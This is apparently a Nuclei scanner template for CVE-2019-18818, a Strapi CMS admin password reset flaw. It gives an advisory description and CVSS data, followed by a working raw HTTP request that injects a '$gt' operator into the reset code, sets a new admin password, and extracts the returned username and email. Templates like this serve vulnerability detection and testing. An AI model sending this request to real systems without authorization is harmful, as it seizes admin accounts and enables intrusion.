id: CVE-2019-18818

info:
  name: strapi CMS <3.0.0-beta.17.5 - Admin Password Reset
  author: idealphase
  severity: critical
  description: strapi CMS before 3.0.0-beta.17.5 allows admin password resets because it mishandles password resets within packages/strapi-admin/controllers/Auth.js and packages/strapi-plugin-users-permissions/controllers/Auth.js.
  impact: |
    An attacker can exploit this vulnerability to reset the admin password and gain unauthorized access to the Strapi CMS admin panel.
  remediation: |
    Upgrade Strapi CMS to a version higher than 3.0.0-beta.17.5 to mitigate the vulnerability.
  reference:
    - https://github.com/advisories/GHSA-6xc2-mj39-q599
    - https://www.exploit-db.com/exploits/50239
    - https://nvd.nist.gov/vuln/detail/CVE-2019-18818
    - https://github.com/strapi/strapi/releases/tag/v3.0.0-beta.17.5
    - https://github.com/strapi/strapi/pull/4443
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-18818
    cwe-id: CWE-640
    epss-score: 0.94045
    epss-percentile: 0.99904
    cpe: cpe:2.3:a:strapi:strapi:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: strapi
    product: strapi
  tags: cve,cve2019,strapi,auth-bypass,intrusive,edb,vkev,vuln

http:
  - raw:
      - |
        POST /admin/auth/reset-password HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/json

        {"code": {"$gt": 0}, "password": "SuperStrongPassword1", "passwordConfirmation": "SuperStrongPassword1"}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"

      - type: word
        part: body
        words:
          - '"username":'
          - '"email":'
          - '"jwt":'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: json
        json:
          - .user.username
          - .user.email
# digest: 4b0a0048304602210096e2bf6c0cc047451fcdd075c13bccea5c1e2dbdbad02594bb10cb2be317091b022100c3bf7fd28f872708612f71606971edb5d42388af7cc173ebf7c8708b2eca77c3:922c64590222798bb761d5b6d8e72950